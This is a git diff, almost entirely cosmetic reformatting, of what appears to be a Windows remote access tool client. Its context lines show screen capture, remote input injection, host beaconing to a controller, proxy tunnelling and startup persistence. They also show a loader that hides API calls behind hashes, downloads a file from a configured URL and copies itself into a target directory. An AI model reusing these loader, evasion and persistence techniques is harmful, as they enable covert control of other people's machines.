diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 409cc0c..858df4c 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -178,9 +178,9 @@ DWORD WaitForMultipleHandlesEx( BOOL CALLBACK callback(DWORD CtrlType) { #ifdef _DEBUG - BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT); + BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT); #else - BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT); + BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT); #endif if (isClose) { g_MyApp.g_bExit = S_CLIENT_EXIT; @@ -497,8 +497,8 @@ DWORD WINAPI StartClient(LPVOID lParam) auto saved_ip = cfg.GetStr("settings", "master"); auto saved_port = cfg.GetInt("settings", "port"); settings.SetServer(saved_ip.c_str(), saved_port); - Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, - int(valid_to-now)); + Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, + int(valid_to-now)); } } auto list = app.GetSharedMasterList(); @@ -544,7 +544,7 @@ DWORD WINAPI StartClient(LPVOID lParam) LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth); Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); - Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID)); + Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID)); while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 10aadcc..397cf17 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -481,11 +481,14 @@ static bool ShouldSkipDirectory(LPCTSTR lpszName, DWORD dwAttributes) } void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, - LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime) + LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime) { if (!m_bSearching) return; if (nDepth > SEARCH_MAX_DEPTH) return; - if (nResultCount >= SEARCH_MAX_RESULTS) { m_bSearching = false; return; } + if (nResultCount >= SEARCH_MAX_RESULTS) { + m_bSearching = false; + return; + } char strPath[MAX_PATH]; WIN32_FIND_DATA FindFileData; diff --git a/client/IOCPBase.h b/client/IOCPBase.h index 3d4cb1c..75c2984 100644 --- a/client/IOCPBase.h +++ b/client/IOCPBase.h @@ -5,7 +5,7 @@ class IOCPBase public: virtual BOOL IsRunning() const = 0; virtual VOID RunEventLoop(const BOOL& bCondition) = 0; - virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0; + virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0; }; typedef BOOL(*TrailCheck)(void); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 97ae17c..5a51bb5 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -432,9 +432,9 @@ int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) return GetExceptionCode(); } #else - // 非 Windows 平台暂不支持 SEH 异常处理，直接调用 + // 非 Windows 平台暂不支持 SEH 异常处理，直接调用 if (f) f(manager, data, len); - return 0; + return 0; #endif } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 08ea697..23b3158 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -235,21 +235,26 @@ public: return g_bExit; } void SetMultiThreadCompress(int threadNum=0); - std::string GetClientID() const { + std::string GetClientID() const + { return m_conn ? std::to_string(m_conn->clientID) : ""; } - std::string GetPublicIP() const { + std::string GetPublicIP() const + { return m_sLocPublicIP; } - CONNECT_ADDRESS* GetConnectionAddress() const { + CONNECT_ADDRESS* GetConnectionAddress() const + { return m_conn; - } - IOCPManager* GetManager() const { + } + IOCPManager* GetManager() const + { return (IOCPManager*)m_Manager; - } - void* GetMain() const { + } + void* GetMain() const + { return m_main; - } + } protected: virtual int ReceiveData(char* buffer, int bufSize, int flags) { diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ff83ef1..535a19a 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -195,12 +195,12 @@ typedef int (*RunSimpleTcpFunc)( ); typedef int (*RunSimpleTcpWithTokenFunc)( - const char* token, - const char* serverAddr, - int serverPort, - int localPort, - int remotePort, - int* statusPtr + const char* token, + const char* serverAddr, + int serverPort, + int localPort, + int remotePort, + int* statusPtr ); DWORD WINAPI ExecuteDLLProc(LPVOID param) @@ -253,24 +253,24 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) break; } case CALLTYPE_FRPC_STDCALL: { - RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; - char* user = (char*)dll->param.User; - FrpcParam* f = (FrpcParam*)user; - if (proc) { - Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); - int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, - &CKernelManager::g_IsAppExit); - if (r) { - char buf[100]; - sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); - Mprintf("%s\n", buf); - ClientMsg msg("代理端口", buf); - This->SendData((LPBYTE)&msg, sizeof(msg)); - } - } - SAFE_DELETE_ARRAY(user); - break; - } + RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; + char* user = (char*)dll->param.User; + FrpcParam* f = (FrpcParam*)user; + if (proc) { + Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); + int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, + &CKernelManager::g_IsAppExit); + if (r) { + char buf[100]; + sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); + Mprintf("%s\n", buf); + ClientMsg msg("代理端口", buf); + This->SendData((LPBYTE)&msg, sizeof(msg)); + } + } + SAFE_DELETE_ARRAY(user); + break; + } default: break; } @@ -842,14 +842,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); if (m_settings.Signature[0] && m_LoginSignature.empty()) { - m_LoginSignature = std::string(m_settings.Signature, m_settings.Signature + 64); + m_LoginSignature = std::string(m_settings.Signature, m_settings.Signature + 64); bool verifyMessage(const std::string & publicKey, BYTE * msg, int len, const std::string & signature); bool verified = verifyMessage("", (BYTE*)m_LoginMsg.data(), m_LoginMsg.length(), m_LoginSignature); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds. Verified: %s\n", ulLength - 1, m_settings.ReportInterval, - verified ? "success" : "failed"); - } - else { - Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); + verified ? "success" : "failed"); + } else { + Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); } iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); @@ -986,10 +985,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); - } else if(typ == CLIENT_TYPE_ONE){ + } else if(typ == CLIENT_TYPE_ONE) { ULONGLONG size = 0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); - const char* name = "updater.exe"; + const char* name = "updater.exe"; char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); GET_FILEPATH(curFile, name); @@ -1072,7 +1071,7 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) m_nNetPing.update_from_sample(GetUnixMs() - n.Time); if (n.Authorized == TRUE) { Mprintf("======> Client authorized successfully.\n"); - if (n.IsTrail) return; // Trial version, do not exit + if (n.IsTrail) return; // Trial version, do not exit // Once the client is authorized, authentication is no longer needed // So we can set exit flag to terminate the AuthKernelManager g_bExit = S_CLIENT_EXIT; diff --git a/client/KernelManager.h b/client/KernelManager.h index 0ad6f61..e105650 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -148,9 +148,12 @@ public: static int g_IsAppExit; MasterSettings m_settings; RttEstimator m_nNetPing; // 网络状况 - std::string m_LoginMsg; // 登录消息摘要 - std::string m_LoginSignature; // 登录消息签名 - void SetLoginMsg(const std::string& msg) { m_LoginMsg = msg; } + std::string m_LoginMsg; // 登录消息摘要 + std::string m_LoginSignature; // 登录消息签名 + void SetLoginMsg(const std::string& msg) + { + m_LoginMsg = msg; + } // 发送心跳 virtual int SendHeartbeat() { diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index c5948e5..7627b71 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -48,16 +48,14 @@ std::string getSystemName() vname = "Windows Server 2019"; else vname = "Windows Server 2016"; - } - else { + } else { // Windows 桌面版 if (dwBuildNumber >= 22000) vname = "Windows 11"; else vname = "Windows 10"; } - } - else if (dwMajor == 6) { + } else if (dwMajor == 6) { switch (dwMinor) { case 3: vname = isServer ? "Windows Server 2012 R2" : "Windows 8.1"; @@ -72,8 +70,7 @@ std::string getSystemName() vname = isServer ? "Windows Server 2008" : "Windows Vista"; break; } - } - else if (dwMajor == 5) { + } else if (dwMajor == 5) { switch (dwMinor) { case 2: vname = "Windows Server 2003"; @@ -328,21 +325,21 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne char cpuInfo[32]; sprintf(cpuInfo, "%dMHz", dwCPUMHz); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); - auto clientID = std::to_string(conn.clientID); + auto clientID = std::to_string(conn.clientID); Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); - char reservedInfo[64]; + char reservedInfo[64]; int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN); int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN); - auto list = ScreenCapture::GetAllMonitors(); - sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY); - LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率 - LoginInfor.AddReserved(clientID.c_str()); // 客户端路径 - LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID - char fileSize[32]; - double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0; - double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; - sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); - LoginInfor.AddReserved(fileSize); // 文件大小 + auto list = ScreenCapture::GetAllMonitors(); + sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY); + LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率 + LoginInfor.AddReserved(clientID.c_str()); // 客户端路径 + LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID + char fileSize[32]; + double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0; + double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; + sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); + LoginInfor.AddReserved(fileSize); // 文件大小 return LoginInfor; } diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 8313911..b36564a 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -18,7 +18,8 @@ #include "ScrollDetector.h" #include "common/file_upload.h" -inline bool HasSSE2() { +inline bool HasSSE2() +{ #ifdef _DEBUG return false; #else @@ -35,7 +36,8 @@ public: { for (size_t i = 0; i < numThreads; ++i) { workers.emplace_back([this] { - while (true) { + while (true) + { std::function task; { std::unique_lock lock(this->queueMutex); @@ -253,35 +255,39 @@ public: return m_nScreenCount; } - virtual int GetScreenWidth() const - { - return m_ulFullWidth; - } - virtual int GetScreenHeight() const - { - return m_ulFullHeight; - } - virtual int GetScreenLeft() const { - return m_iScreenX; - } - virtual int GetScreenTop() const { - return m_iScreenY; - } + virtual int GetScreenWidth() const + { + return m_ulFullWidth; + } + virtual int GetScreenHeight() const + { + return m_ulFullHeight; + } + virtual int GetScreenLeft() const + { + return m_iScreenX; + } + virtual int GetScreenTop() const + { + return m_iScreenY; + } - inline int GetVScreenWidth() const - { - return m_nVScreenWidth; - } + inline int GetVScreenWidth() const + { + return m_nVScreenWidth; + } inline int GetVScreenHeight() const - { - return m_nVScreenHeight; - } - inline int GetVScreenLeft() const { - return m_nVScreenLeft; - } - inline int GetVScreenTop() const { - return m_nVScreenTop; - } + { + return m_nVScreenHeight; + } + inline int GetVScreenLeft() const + { + return m_nVScreenLeft; + } + inline int GetVScreenTop() const + { + return m_nVScreenTop; + } virtual bool IsOriginalSize() const { @@ -552,15 +558,18 @@ public: return offset; // 返回缓冲区的大小 } - virtual int GetFrameID() const { + virtual int GetFrameID() const + { return m_FrameID; } - virtual LPBYTE GetFirstBuffer() const { + virtual LPBYTE GetFirstBuffer() const + { return m_FirstBuffer; } - virtual int GetBMPSize() const { + virtual int GetBMPSize() const + { assert(m_BitmapInfor_Send); return m_BitmapInfor_Send->bmiHeader.biSizeImage; } @@ -850,9 +859,9 @@ public: // 如果上一帧是滚动帧，则跳过本帧的滚动检测，发送差分帧来同步可能的误差 // m_nScrollDetectInterval: 0=禁用, 1=每帧, 2=每2帧, ... bool shouldDetectScroll = !keyFrame && algo != ALGORITHM_H264 && - m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector && - !m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 && - (m_FrameID % m_nScrollDetectInterval == 0); + m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector && + !m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 && + (m_FrameID % m_nScrollDetectInterval == 0); if (shouldDetectScroll) { int scrollAmount = m_pScrollDetector->DetectVerticalScroll(GetFirstBuffer(), nextData); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e99dec7..598cfa2 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -91,15 +91,15 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan iniFile cfg(CLIENT_PATH); int m_nMaxFPS = cfg.GetInt("settings", "ScreenMaxFPS", 20); m_nMaxFPS = max(m_nMaxFPS, 1); - int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); + int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); m_ClientObject->SetMultiThreadCompress(threadNum); m_ScreenSettings.MaxFPS = m_nMaxFPS; - m_ScreenSettings.CompressThread = threadNum; + m_ScreenSettings.CompressThread = threadNum; m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0); - m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); - m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); - m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); + m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); + m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); + m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0); m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧 @@ -216,7 +216,8 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) // 获取进程名 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); - if (hProcess) { + if (hProcess) + { char exePath[MAX_PATH]; DWORD size = MAX_PATH; if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { @@ -334,10 +335,10 @@ BOOL IsRunningAsSystem() BOOL CScreenManager::OnReconnect() { - auto duration = GetTickCount64() - m_nReconnectTime; + auto duration = GetTickCount64() - m_nReconnectTime; if (duration <= 3000) Sleep(3000 - duration); - m_nReconnectTime = GetTickCount64(); + m_nReconnectTime = GetTickCount64(); m_SendFirst = FALSE; BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; @@ -530,18 +531,18 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) SwitchScreen(); break; } - case CMD_FULL_SCREEN: { - int fullScreen = szBuffer[1]; - iniFile cfg(CLIENT_PATH); - cfg.SetInt("settings", "FullScreen", fullScreen); - m_ScreenSettings.FullScreen = fullScreen; - break; - } + case CMD_FULL_SCREEN: { + int fullScreen = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "FullScreen", fullScreen); + m_ScreenSettings.FullScreen = fullScreen; + break; + } case CMD_REMOTE_CURSOR: { - int remoteCursor = szBuffer[1]; - iniFile cfg(CLIENT_PATH); - cfg.SetInt("settings", "RemoteCursor", remoteCursor); - m_ScreenSettings.RemoteCursor = remoteCursor; + int remoteCursor = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "RemoteCursor", remoteCursor); + m_ScreenSettings.RemoteCursor = remoteCursor; break; } case CMD_MULTITHREAD_COMPRESS: { @@ -549,7 +550,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->SetMultiThreadCompress(threadNum); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenCompressThread", threadNum); - m_ScreenSettings.CompressThread = threadNum; + m_ScreenSettings.CompressThread = threadNum; break; } case CMD_SCREEN_SIZE: { @@ -570,9 +571,9 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: break; } - m_ScreenSettings.ScreenStrategy = strategy; - m_ScreenSettings.ScreenWidth = width; - m_ScreenSettings.ScreenHeight = height; + m_ScreenSettings.ScreenStrategy = strategy; + m_ScreenSettings.ScreenWidth = width; + m_ScreenSettings.ScreenHeight = height; break; } case CMD_FPS: { @@ -580,7 +581,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_nMaxFPS = max(m_nMaxFPS, 1); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenMaxFPS", m_nMaxFPS); - m_ScreenSettings.MaxFPS = m_nMaxFPS; + m_ScreenSettings.MaxFPS = m_nMaxFPS; break; } case CMD_SCROLL_INTERVAL: { @@ -651,12 +652,12 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) szBuffer[0] = { COMMAND_GET_FOLDER }; memcpy(szBuffer + 1, str.data(), str.size()); SendData(szBuffer, 1 + str.size()); - SAFE_DELETE_ARRAY(szBuffer); + SAFE_DELETE_ARRAY(szBuffer); break; } if (SendClientClipboard(ulLength > 1)) break; - files = GetForegroundSelectedFiles(result); + files = GetForegroundSelectedFiles(result); if (!files.empty()) { char h[100] = {}; memcpy(h, szBuffer + 1, ulLength - 1); @@ -696,10 +697,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) // 发送文件 std::string dir = (char*)(szBuffer + 1); char* ptr = (char*)szBuffer + 1 + dir.length() + 1; - auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector{}; + auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector {}; if (files.empty()) { - BOOL result = 0; - files = GetClipboardFiles(result); + BOOL result = 0; + files = GetClipboardFiles(result); } if (!files.empty() && !dir.empty()) { IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); @@ -830,11 +831,21 @@ std::string GetTitle(HWND hWnd) } // 辅助判断是否为扩展键 -bool IsExtendedKey(WPARAM vKey) { +bool IsExtendedKey(WPARAM vKey) +{ switch (vKey) { - case VK_INSERT: case VK_DELETE: case VK_HOME: case VK_END: - case VK_PRIOR: case VK_NEXT: case VK_LEFT: case VK_UP: - case VK_RIGHT: case VK_DOWN: case VK_RCONTROL: case VK_RMENU: + case VK_INSERT: + case VK_DELETE: + case VK_HOME: + case VK_END: + case VK_PRIOR: + case VK_NEXT: + case VK_LEFT: + case VK_UP: + case VK_RIGHT: + case VK_DOWN: + case VK_RCONTROL: + case VK_RMENU: case VK_DIVIDE: // 小键盘的 / return true; default: @@ -1078,7 +1089,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : - (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); + (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); INPUT input = { 0 }; input.type = INPUT_MOUSE; @@ -1096,16 +1107,16 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } // 映射到 0-65535 的绝对坐标空间 - if (m_ScreenSpyObject->GetScreenCount() > 1) { - // 多显示器模式下，必须重新计算 dx, dy 映射到全虚拟桌面空间 - // 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志 - input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1); - input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1); + if (m_ScreenSpyObject->GetScreenCount() > 1) { + // 多显示器模式下，必须重新计算 dx, dy 映射到全虚拟桌面空间 + // 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志 + input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1); + input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1); input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK; } else { - input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1); - input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1); - input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; + input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1); + input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1); + input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; } } diff --git a/client/ScrollDetector.h b/client/ScrollDetector.h index 968f7c4..2642596 100644 --- a/client/ScrollDetector.h +++ b/client/ScrollDetector.h @@ -159,10 +159,22 @@ public: } } - int GetLastScrollAmount() const { return m_lastScrollAmount; } - int GetWidth() const { return m_width; } - int GetHeight() const { return m_height; } - int GetStride() const { return m_stride; } + int GetLastScrollAmount() const + { + return m_lastScrollAmount; + } + int GetWidth() const + { + return m_width; + } + int GetHeight() const + { + return m_height; + } + int GetStride() const + { + return m_stride; + } private: // Count matching rows for a given scroll amount diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 1c23ea3..5b8ce20 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -8,7 +8,7 @@ struct { int len; int offset; char file[_MAX_PATH]; - char targetDir[_MAX_PATH]; + char targetDir[_MAX_PATH]; char downloadUrl[_MAX_PATH]; } sc = { "Hello, World!" }; @@ -233,7 +233,8 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd return 0; } -char* strstr(const char* h, const char* n) { +char* strstr(const char* h, const char* n) +{ if (!*n) return (char*)h; for (; *h; h++) { const char* p = h, * q = n; @@ -261,8 +262,8 @@ int entry() _CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress); _SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress); _ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress); - _DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress); - _CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress); + _DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress); + _CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress); _CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress); _IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress); @@ -271,14 +272,16 @@ int entry() if (sc.targetDir[0]) { char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir; GetModulePath(NULL, curExe, MAX_PATH); - while (*dir) *p++ = *dir++; *p++ = '\\'; - while (*file) *p++ = *file++; *p = '\0'; + while (*dir) *p++ = *dir++; + *p++ = '\\'; + while (*file) *p++ = *file++; + *p = '\0'; char name[] = { 'u','r','l','m','o','n','\0' }; HMODULE urlmon = LoadLibraryA(name); _Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL; if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) { if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1); - } + } file = dstFile; if (!strstr(curExe, sc.targetDir)) { BOOL b = CopyFileA(sc.file, dstFile, FALSE); diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 142cd53..6d67ad9 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -78,7 +78,7 @@ LPBYTE CSystemManager::GetProcessList() //打开进程并返回句柄 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, - FALSE, pe32.th32ProcessID); //打开目标进程 + FALSE, pe32.th32ProcessID); //打开目标进程 if (hProcess != NULL) { // 优先使用 QueryFullProcessImageName（不受32/64位限制） @@ -87,15 +87,14 @@ LPBYTE CSystemManager::GetProcessList() // 回退到原来的方法 EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules, - szProcessFullPath, - sizeof(szProcessFullPath)); + szProcessFullPath, + sizeof(szProcessFullPath)); if (dwReturn == 0) { strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名 } } CloseHandle(hProcess); // 关闭进程句柄，防止泄漏 - } - else { + } else { // OpenProcess 失败，使用快照中的进程名 strcpy(szProcessFullPath, pe32.szExeFile); } @@ -115,11 +114,11 @@ LPBYTE CSystemManager::GetProcessList() //开始计算占用的缓冲区， 我们关心他的发送的数据结构 // 此进程占用数据大小 dwLength = sizeof(DWORD) + - lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; + lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; // 缓冲区太小，再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), - LMEM_ZEROINIT | LMEM_MOVEABLE); + LMEM_ZEROINIT | LMEM_MOVEABLE); //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 //进程ID+进程名+0+进程完整名+0 进程 //因为字符数据是以0 结尾的 @@ -265,11 +264,9 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要 const char* szStatus = "normal"; if (IsIconic(hWnd)) { szStatus = "minimized"; - } - else if (IsZoomed(hWnd)) { + } else if (IsZoomed(hWnd)) { szStatus = "maximized"; - } - else if (!IsWindowVisible(hWnd)) { + } else if (!IsWindowVisible(hWnd)) { szStatus = "hidden"; } diff --git a/client/reg_startup.c b/client/reg_startup.c index beaeb7d..fe4f98b 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -343,13 +343,13 @@ const char* GetInstallDirectory(const char * startupName) return NULL; } } - return folder; + return folder; } int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) { #ifdef _DEBUG - return 1; + return 1; #endif Log = log; char username[256]; @@ -360,7 +360,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, const char 